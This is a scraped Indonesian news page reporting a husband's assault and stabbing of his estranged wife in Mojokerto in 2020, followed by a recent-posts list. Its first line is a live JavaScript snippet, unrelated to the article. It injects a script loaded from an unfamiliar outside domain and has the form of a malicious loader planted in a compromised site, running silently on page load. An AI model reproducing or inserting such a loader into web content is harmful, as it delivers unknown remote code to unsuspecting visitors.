(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Ogah Diajak Rujuk, Lilis Digebuki dan Ditusuk Suami saat Berangkat Kerja


KANALKALIMANTAN.COM – Kasus kekerasan dalam rumah tangga (KDRT) masih kerap terjadi saat masyarakat sedang menghadapi pandemi corona (Covid-19).

Seperti peristiwa yang menimpa Lilis Setyowati (40), warga Dusun Sengon, Desa Sembilawang, Kecamatan Dlanggu, Kabupaten Mojokerto, Jawa Timur.

Korban babak belur dan ditusuk lantaran dianggap sudah tak sayang lagi dengan suaminya, M Yaudik (34). Korban menolak kembali diajak rujuk dan meminta agar suaminya itu tak lagi mencampuri urusan pribadinya.

Aksi penganiayaan itu terjadi saat Lilis hendak berangkat kerja pada Senin (13/4/2020). Korban tiba-tiba dicegat suaminya.

Kasat Reskrim Polres Mojokerto, AKP Dewa Putu Prima mengatakan, kejadian penusukan dan penganiayaan tersebut bermula saat korban melintas di Jalan Raya Desa Medali, Kecamatan Puri, tiba-tiba korban dihadang oleh pelaku yang merupakan suaminya sendiri.

“Awalnya korban hendak berangkat kerja, saat melintas di lokasi, korban tiba-tiba diadang suaminya,” kata Dewa seperti dilansir dari Suara Indonesia -jaringan Suara.com.

Lantaran ajakannya untuk kembali menjalin biduk rumah tangga ditolak, suaminya naik pitam dan mengeluarkan senjata tajam dari balik bajunya untuk menusuk tubuh korban.

“Pelaku tidak terima dengan jawaban korban yang mengatakan sudah tidak sayang lagi dengan pelaku, sehingga pelaku kalap dan memukul serta menusuk korban,” kata dia.

Warga yang melihat kejadian penganiayaan tersebut kemudian mencoba menghampiri korban, akan tetapi pelaku justru melarikan diri. Atas perbuatannya suaminya, Lilis mengalami luka tusuk di tangan bagian kanan dan kiri serta punggung. Bahkan hidung dan muka sebelah kirinya juga lebam dan sobek akibat dipukul sang suami.

Saat ini, polisi masih memburu Yaudik yang melarikan diri usai menganiaya istrinya. Dalam kasus ini, pelaku terancam dikenakan Pasal 44 Undang-undang Republik Indonesia Nomor 23 Tahun 2003 tentang penghapusan kekerasan dalam rumah tangga dengan ancaman hukuman maksimal 5 tahun penjara.

“Siapapun yang berani macam-macam di wilayah hukum Polres Mojokerto akan kami tindak tegas. Identitas pelaku sudah kami kantongi, dan kami akan terus memburunya,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

10 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

13 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

13 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

16 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

17 jam ago

This website uses cookies.